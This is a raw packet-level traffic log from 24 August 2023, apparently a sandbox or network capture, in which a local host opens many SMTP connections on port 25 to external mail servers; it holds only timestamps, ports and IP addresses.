Aug 24, 2023 19:03:31.714031935 CEST	49940	25	192.168.2.8	67.231.158.130
Aug 24, 2023 19:03:31.714612961 CEST	25	49931	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:31.714704037 CEST	49931	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:31.719589949 CEST	25	49936	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:31.720283031 CEST	49936	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:31.720922947 CEST	25	49944	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:31.721080065 CEST	49944	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:31.728070021 CEST	25	49945	104.47.17.74	192.168.2.8
Aug 24, 2023 19:03:31.728467941 CEST	49945	25	192.168.2.8	104.47.17.74
Aug 24, 2023 19:03:31.730226994 CEST	25	49943	193.122.187.19	192.168.2.8
Aug 24, 2023 19:03:31.730252028 CEST	25	49943	193.122.187.19	192.168.2.8
Aug 24, 2023 19:03:31.730374098 CEST	49943	25	192.168.2.8	193.122.187.19
Aug 24, 2023 19:03:31.730490923 CEST	49943	25	192.168.2.8	193.122.187.19
Aug 24, 2023 19:03:31.732078075 CEST	25	49946	104.47.64.110	192.168.2.8
Aug 24, 2023 19:03:31.732173920 CEST	49946	25	192.168.2.8	104.47.64.110
Aug 24, 2023 19:03:31.733402014 CEST	49949	25	192.168.2.8	205.193.122.69
Aug 24, 2023 19:03:31.755194902 CEST	49950	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:31.755501032 CEST	25	49935	104.47.55.110	192.168.2.8
Aug 24, 2023 19:03:31.755810976 CEST	49935	25	192.168.2.8	104.47.55.110
Aug 24, 2023 19:03:31.773734093 CEST	25	49941	173.194.202.26	192.168.2.8
Aug 24, 2023 19:03:31.773768902 CEST	25	49945	104.47.17.74	192.168.2.8
Aug 24, 2023 19:03:31.773914099 CEST	49941	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:31.774012089 CEST	49945	25	192.168.2.8	104.47.17.74
Aug 24, 2023 19:03:31.778413057 CEST	25	49937	47.43.26.7	192.168.2.8
Aug 24, 2023 19:03:31.778464079 CEST	25	49937	47.43.26.7	192.168.2.8
Aug 24, 2023 19:03:31.778527975 CEST	49937	25	192.168.2.8	47.43.26.7
Aug 24, 2023 19:03:31.804202080 CEST	25	49942	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:31.804445028 CEST	49942	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:31.806976080 CEST	25	49929	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:31.816373110 CEST	25	49945	104.47.17.74	192.168.2.8
Aug 24, 2023 19:03:31.816555023 CEST	49945	25	192.168.2.8	104.47.17.74
Aug 24, 2023 19:03:31.823327065 CEST	25	49879	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:31.825011015 CEST	25	49926	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:31.825117111 CEST	49926	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:31.825457096 CEST	25	49886	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:31.830806017 CEST	25	49881	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:31.833113909 CEST	25	49940	67.231.158.130	192.168.2.8
Aug 24, 2023 19:03:31.833161116 CEST	25	49940	67.231.158.130	192.168.2.8
Aug 24, 2023 19:03:31.833216906 CEST	49940	25	192.168.2.8	67.231.158.130
Aug 24, 2023 19:03:31.833278894 CEST	49940	25	192.168.2.8	67.231.158.130
Aug 24, 2023 19:03:31.836944103 CEST	49951	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:31.837356091 CEST	25	49948	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:31.837440968 CEST	49948	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:31.839379072 CEST	25	49946	104.47.64.110	192.168.2.8
Aug 24, 2023 19:03:31.839572906 CEST	49946	25	192.168.2.8	104.47.64.110
Aug 24, 2023 19:03:31.847301006 CEST	25	49943	193.122.187.19	192.168.2.8
Aug 24, 2023 19:03:31.857764959 CEST	25	49945	104.47.17.74	192.168.2.8
Aug 24, 2023 19:03:31.859380960 CEST	25	49945	104.47.17.74	192.168.2.8
Aug 24, 2023 19:03:31.859479904 CEST	49945	25	192.168.2.8	104.47.17.74
Aug 24, 2023 19:03:31.862442017 CEST	25	49950	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:31.862572908 CEST	49950	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:31.864164114 CEST	49879	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:31.874150038 CEST	25	49944	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:31.875530958 CEST	49944	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:31.878617048 CEST	25	49936	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:31.879812002 CEST	49881	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:31.879847050 CEST	49886	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:31.908451080 CEST	25	49931	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:31.908734083 CEST	49931	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:31.918651104 CEST	25	49942	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:31.918688059 CEST	25	49937	47.43.26.7	192.168.2.8
Aug 24, 2023 19:03:31.923305988 CEST	25	49942	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:31.923506021 CEST	49942	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:31.927269936 CEST	25	49935	104.47.55.110	192.168.2.8
Aug 24, 2023 19:03:31.927449942 CEST	49935	25	192.168.2.8	104.47.55.110
Aug 24, 2023 19:03:31.937061071 CEST	25	49941	173.194.202.26	192.168.2.8
Aug 24, 2023 19:03:31.937427044 CEST	49952	25	192.168.2.8	104.47.73.10
Aug 24, 2023 19:03:31.943183899 CEST	25	49946	104.47.64.110	192.168.2.8
Aug 24, 2023 19:03:31.943377972 CEST	49946	25	192.168.2.8	104.47.64.110
Aug 24, 2023 19:03:31.949737072 CEST	25	49941	173.194.202.26	192.168.2.8
Aug 24, 2023 19:03:31.949932098 CEST	49941	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:31.961863995 CEST	25	49951	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:31.961966038 CEST	49951	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:31.971595049 CEST	25	49950	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:31.971784115 CEST	49950	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:31.975928068 CEST	25	49936	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:31.975950956 CEST	25	49936	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:31.976006985 CEST	49936	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:31.976128101 CEST	49936	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:31.977561951 CEST	49953	25	192.168.2.8	51.81.61.70
Aug 24, 2023 19:03:31.992352009 CEST	25	49947	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:31.992460966 CEST	49947	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:32.000654936 CEST	49954	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:32.009618998 CEST	49955	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:32.010015965 CEST	25	49944	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:32.010040998 CEST	25	49948	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:32.010200024 CEST	49948	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:32.010617018 CEST	25	49944	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:32.010804892 CEST	49944	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:32.040875912 CEST	25	49942	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:32.040908098 CEST	25	49942	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:32.040927887 CEST	25	49954	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:32.041002035 CEST	49942	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:32.041184902 CEST	49954	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:32.041212082 CEST	49942	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:32.047981977 CEST	25	49946	104.47.64.110	192.168.2.8
Aug 24, 2023 19:03:32.048227072 CEST	49946	25	192.168.2.8	104.47.64.110
Aug 24, 2023 19:03:32.060870886 CEST	49956	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:32.064310074 CEST	25	49892	43.225.108.107	192.168.2.8
Aug 24, 2023 19:03:32.064510107 CEST	49892	25	192.168.2.8	43.225.108.107
Aug 24, 2023 19:03:32.071470022 CEST	49957	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:32.073582888 CEST	25	49952	104.47.73.10	192.168.2.8
Aug 24, 2023 19:03:32.074706078 CEST	49952	25	192.168.2.8	104.47.73.10
Aug 24, 2023 19:03:32.078962088 CEST	25	49950	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:32.079924107 CEST	25	49950	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:32.080117941 CEST	49950	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:32.084516048 CEST	25	49953	51.81.61.70	192.168.2.8
Aug 24, 2023 19:03:32.084542036 CEST	25	49954	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:32.085047960 CEST	49953	25	192.168.2.8	51.81.61.70
Aug 24, 2023 19:03:32.085048914 CEST	49954	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:32.090460062 CEST	25	49936	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:32.092225075 CEST	25	49951	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:32.092363119 CEST	49951	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:32.100321054 CEST	25	49935	104.47.55.110	192.168.2.8
Aug 24, 2023 19:03:32.101571083 CEST	49935	25	192.168.2.8	104.47.55.110
Aug 24, 2023 19:03:32.114397049 CEST	25	49941	173.194.202.26	192.168.2.8
Aug 24, 2023 19:03:32.114761114 CEST	49941	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:32.125595093 CEST	25	49954	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:32.126725912 CEST	25	49954	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:32.126991987 CEST	49954	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:32.145937920 CEST	25	49944	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:32.146101952 CEST	49944	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:32.146183968 CEST	25	49944	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:32.146253109 CEST	49944	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:32.151489973 CEST	49958	25	192.168.2.8	149.56.24.155
Aug 24, 2023 19:03:32.153357029 CEST	25	49946	104.47.64.110	192.168.2.8
Aug 24, 2023 19:03:32.153589964 CEST	49946	25	192.168.2.8	104.47.64.110
Aug 24, 2023 19:03:32.155843019 CEST	25	49942	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:32.166548967 CEST	25	49954	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:32.167943001 CEST	25	49954	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:32.168190002 CEST	49954	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:32.169061899 CEST	25	49954	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:32.169946909 CEST	49954	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:32.176698923 CEST	49934	25	192.168.2.8	62.24.139.42
Aug 24, 2023 19:03:32.180345058 CEST	25	49948	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:32.181224108 CEST	25	49948	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:32.181335926 CEST	49948	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:32.187217951 CEST	25	49950	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:32.188570976 CEST	25	49950	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:32.188816071 CEST	49950	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:32.189697027 CEST	25	49950	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:32.189774036 CEST	49950	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:32.192435026 CEST	25	49955	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:32.192542076 CEST	49955	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:32.207802057 CEST	25	49954	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:32.212642908 CEST	25	49952	104.47.73.10	192.168.2.8
Aug 24, 2023 19:03:32.213653088 CEST	49952	25	192.168.2.8	104.47.73.10
Aug 24, 2023 19:03:32.216902018 CEST	25	49951	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:32.217194080 CEST	25	49951	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:32.217319965 CEST	49951	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:32.223773956 CEST	25	49956	173.194.202.26	192.168.2.8
Aug 24, 2023 19:03:32.223918915 CEST	49956	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:32.233589888 CEST	49959	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:32.237929106 CEST	25	49931	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:32.238389969 CEST	25	49892	43.225.108.107	192.168.2.8
Aug 24, 2023 19:03:32.238467932 CEST	49892	25	192.168.2.8	43.225.108.107
Aug 24, 2023 19:03:32.239531040 CEST	25	49892	43.225.108.107	192.168.2.8
Aug 24, 2023 19:03:32.239599943 CEST	49892	25	192.168.2.8	43.225.108.107
Aug 24, 2023 19:03:32.245423079 CEST	49960	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:32.253029108 CEST	25	49957	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:32.253149986 CEST	49957	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:32.254313946 CEST	25	49958	149.56.24.155	192.168.2.8
Aug 24, 2023 19:03:32.254441023 CEST	49958	25	192.168.2.8	149.56.24.155
Aug 24, 2023 19:03:32.257294893 CEST	25	49946	104.47.64.110	192.168.2.8
Aug 24, 2023 19:03:32.257666111 CEST	25	49946	104.47.64.110	192.168.2.8
Aug 24, 2023 19:03:32.259490967 CEST	49946	25	192.168.2.8	104.47.64.110
Aug 24, 2023 19:03:32.272150040 CEST	25	49935	104.47.55.110	192.168.2.8
Aug 24, 2023 19:03:32.273335934 CEST	25	49935	104.47.55.110	192.168.2.8
Aug 24, 2023 19:03:32.273622990 CEST	49935	25	192.168.2.8	104.47.55.110
Aug 24, 2023 19:03:32.279789925 CEST	25	49944	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:32.283480883 CEST	25	49941	173.194.202.26	192.168.2.8
Aug 24, 2023 19:03:32.295999050 CEST	25	49950	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:32.298650026 CEST	25	49947	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:32.298783064 CEST	49947	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:32.328098059 CEST	49961	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:32.337392092 CEST	49962	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:32.342122078 CEST	25	49951	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:32.342175961 CEST	25	49951	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:32.342360973 CEST	49951	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:32.347343922 CEST	25	49941	173.194.202.26	192.168.2.8
Aug 24, 2023 19:03:32.347950935 CEST	49941	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:32.353154898 CEST	25	49952	104.47.73.10	192.168.2.8
Aug 24, 2023 19:03:32.353759050 CEST	49952	25	192.168.2.8	104.47.73.10
Aug 24, 2023 19:03:32.354635000 CEST	25	49948	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:32.355818033 CEST	25	49948	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:32.355967999 CEST	49948	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:32.356805086 CEST	25	49948	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:32.356906891 CEST	49948	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:32.360758066 CEST	25	49958	149.56.24.155	192.168.2.8
Aug 24, 2023 19:03:32.361031055 CEST	49958	25	192.168.2.8	149.56.24.155
Aug 24, 2023 19:03:32.382637024 CEST	25	49960	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:32.382850885 CEST	49960	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:32.390882015 CEST	25	49956	173.194.202.26	192.168.2.8
Aug 24, 2023 19:03:32.391119957 CEST	49956	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:32.409197092 CEST	25	49931	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:32.409519911 CEST	49931	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:32.421335936 CEST	49963	25	192.168.2.8	209.222.235.15
Aug 24, 2023 19:03:32.437735081 CEST	49964	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:32.444612980 CEST	25	49953	51.81.61.70	192.168.2.8
Aug 24, 2023 19:03:32.444681883 CEST	25	49953	51.81.61.70	192.168.2.8
Aug 24, 2023 19:03:32.444842100 CEST	49953	25	192.168.2.8	51.81.61.70
Aug 24, 2023 19:03:32.444992065 CEST	49953	25	192.168.2.8	51.81.61.70
Aug 24, 2023 19:03:32.450979948 CEST	25	49962	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:32.451117039 CEST	49962	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:32.463032007 CEST	25	49961	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:32.463258982 CEST	49961	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:32.463934898 CEST	25	49958	149.56.24.155	192.168.2.8
Aug 24, 2023 19:03:32.467056036 CEST	25	49951	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:32.467303038 CEST	25	49951	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:32.467377901 CEST	49951	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:32.490252018 CEST	25	49952	104.47.73.10	192.168.2.8
Aug 24, 2023 19:03:32.491175890 CEST	25	49947	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:32.491501093 CEST	49952	25	192.168.2.8	104.47.73.10
Aug 24, 2023 19:03:32.491504908 CEST	49947	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:32.495652914 CEST	25	49957	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:32.495920897 CEST	49957	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:32.511127949 CEST	25	49941	173.194.202.26	192.168.2.8
Aug 24, 2023 19:03:32.511567116 CEST	25	49941	173.194.202.26	192.168.2.8
Aug 24, 2023 19:03:32.514657021 CEST	49965	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:32.518332958 CEST	25	49960	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:32.518727064 CEST	49960	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:32.519978046 CEST	49966	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:32.526369095 CEST	25	49948	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:32.532978058 CEST	25	49955	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:32.533153057 CEST	49955	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:32.540559053 CEST	25	49963	209.222.235.15	192.168.2.8
Aug 24, 2023 19:03:32.540797949 CEST	49963	25	192.168.2.8	209.222.235.15
Aug 24, 2023 19:03:32.541814089 CEST	49967	25	192.168.2.8	65.20.63.100
Aug 24, 2023 19:03:32.549294949 CEST	25	49953	51.81.61.70	192.168.2.8
Aug 24, 2023 19:03:32.554147005 CEST	25	49956	173.194.202.26	192.168.2.8
Aug 24, 2023 19:03:32.558166027 CEST	25	49956	173.194.202.26	192.168.2.8
Aug 24, 2023 19:03:32.558417082 CEST	49956	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:32.560539007 CEST	49968	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:32.565665960 CEST	25	49962	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:32.565829039 CEST	25	49959	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:32.565886021 CEST	49962	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:32.566838980 CEST	49959	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:32.567485094 CEST	49941	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:32.570553064 CEST	25	49964	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:32.570708990 CEST	49964	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:32.594448090 CEST	49969	25	192.168.2.8	47.43.18.9
Aug 24, 2023 19:03:32.598423004 CEST	25	49961	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:32.599332094 CEST	49961	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:32.621654987 CEST	25	49965	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:32.622370005 CEST	49965	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:32.628551006 CEST	25	49952	104.47.73.10	192.168.2.8
Aug 24, 2023 19:03:32.629010916 CEST	49952	25	192.168.2.8	104.47.73.10
Aug 24, 2023 19:03:32.645037889 CEST	25	49966	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:32.645237923 CEST	49966	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:32.651350975 CEST	25	49960	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:32.652057886 CEST	25	49960	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:32.652237892 CEST	49960	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:32.655973911 CEST	25	49963	209.222.235.15	192.168.2.8
Aug 24, 2023 19:03:32.656363010 CEST	49963	25	192.168.2.8	209.222.235.15
Aug 24, 2023 19:03:32.656888008 CEST	25	49967	65.20.63.100	192.168.2.8
Aug 24, 2023 19:03:32.656990051 CEST	49967	25	192.168.2.8	65.20.63.100
Aug 24, 2023 19:03:32.677448988 CEST	25	49957	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:32.677511930 CEST	25	49957	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:32.677617073 CEST	49957	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:32.679471016 CEST	25	49962	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:32.679543018 CEST	25	49962	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:32.679687023 CEST	49962	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:32.705022097 CEST	25	49964	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:32.705178976 CEST	49964	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:32.715913057 CEST	25	49955	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:32.715986013 CEST	25	49955	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:32.716145992 CEST	49955	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:32.717166901 CEST	25	49969	47.43.18.9	192.168.2.8
Aug 24, 2023 19:03:32.717278004 CEST	49969	25	192.168.2.8	47.43.18.9
Aug 24, 2023 19:03:32.721873999 CEST	25	49956	173.194.202.26	192.168.2.8
Aug 24, 2023 19:03:32.722245932 CEST	49956	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:32.731239080 CEST	25	49965	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:32.731492043 CEST	49965	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:32.731805086 CEST	25	49968	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:32.731955051 CEST	49968	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:32.733565092 CEST	49970	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:32.734160900 CEST	25	49961	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:32.734195948 CEST	25	49961	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:32.734464884 CEST	49961	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:32.739248037 CEST	49949	25	192.168.2.8	205.193.122.69
Aug 24, 2023 19:03:32.742180109 CEST	25	49931	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:32.744875908 CEST	49971	25	192.168.2.8	104.47.55.138
Aug 24, 2023 19:03:32.745662928 CEST	49972	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:32.765111923 CEST	25	49952	104.47.73.10	192.168.2.8
Aug 24, 2023 19:03:32.766545057 CEST	25	49952	104.47.73.10	192.168.2.8
Aug 24, 2023 19:03:32.766794920 CEST	49952	25	192.168.2.8	104.47.73.10
Aug 24, 2023 19:03:32.771362066 CEST	25	49963	209.222.235.15	192.168.2.8
Aug 24, 2023 19:03:32.771395922 CEST	25	49963	209.222.235.15	192.168.2.8
Aug 24, 2023 19:03:32.771424055 CEST	25	49966	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:32.771621943 CEST	49966	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:32.771648884 CEST	49963	25	192.168.2.8	209.222.235.15
Aug 24, 2023 19:03:32.784917116 CEST	25	49960	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:32.786003113 CEST	25	49960	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:32.786184072 CEST	49960	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:32.787082911 CEST	25	49960	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:32.787197113 CEST	49960	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:32.793715000 CEST	25	49962	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:32.793838978 CEST	49962	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:32.793886900 CEST	49973	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:32.823590040 CEST	25	49947	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:32.837929964 CEST	25	49970	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:32.837970972 CEST	25	49964	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:32.838171959 CEST	49970	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:32.838663101 CEST	25	49964	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:32.838809013 CEST	49964	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:32.839184046 CEST	25	49965	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:32.840055943 CEST	25	49965	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:32.840322971 CEST	49965	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:32.841130018 CEST	49974	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:32.852483988 CEST	25	49971	104.47.55.138	192.168.2.8
Aug 24, 2023 19:03:32.852647066 CEST	49971	25	192.168.2.8	104.47.55.138
Aug 24, 2023 19:03:32.859092951 CEST	25	49957	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:32.859384060 CEST	49957	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:32.867585897 CEST	25	49959	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:32.867789030 CEST	49959	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:32.869601965 CEST	25	49961	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:32.869914055 CEST	25	49961	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:32.869976044 CEST	49961	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:32.870121002 CEST	49961	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:32.879977942 CEST	25	49969	47.43.18.9	192.168.2.8
Aug 24, 2023 19:03:32.880453110 CEST	49969	25	192.168.2.8	47.43.18.9
Aug 24, 2023 19:03:32.880513906 CEST	25	49969	47.43.18.9	192.168.2.8
Aug 24, 2023 19:03:32.880603075 CEST	49969	25	192.168.2.8	47.43.18.9
Aug 24, 2023 19:03:32.886765003 CEST	25	49963	209.222.235.15	192.168.2.8
Aug 24, 2023 19:03:32.887085915 CEST	49963	25	192.168.2.8	209.222.235.15
Aug 24, 2023 19:03:32.889719963 CEST	25	49956	173.194.202.26	192.168.2.8
Aug 24, 2023 19:03:32.890743971 CEST	49975	25	192.168.2.8	47.43.26.7
Aug 24, 2023 19:03:32.897186995 CEST	25	49966	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:32.898889065 CEST	25	49955	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:32.904951096 CEST	25	49968	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:32.906547070 CEST	49966	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:32.906646967 CEST	49955	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:32.906874895 CEST	49968	25	192.168.2.8	104.47.73.161
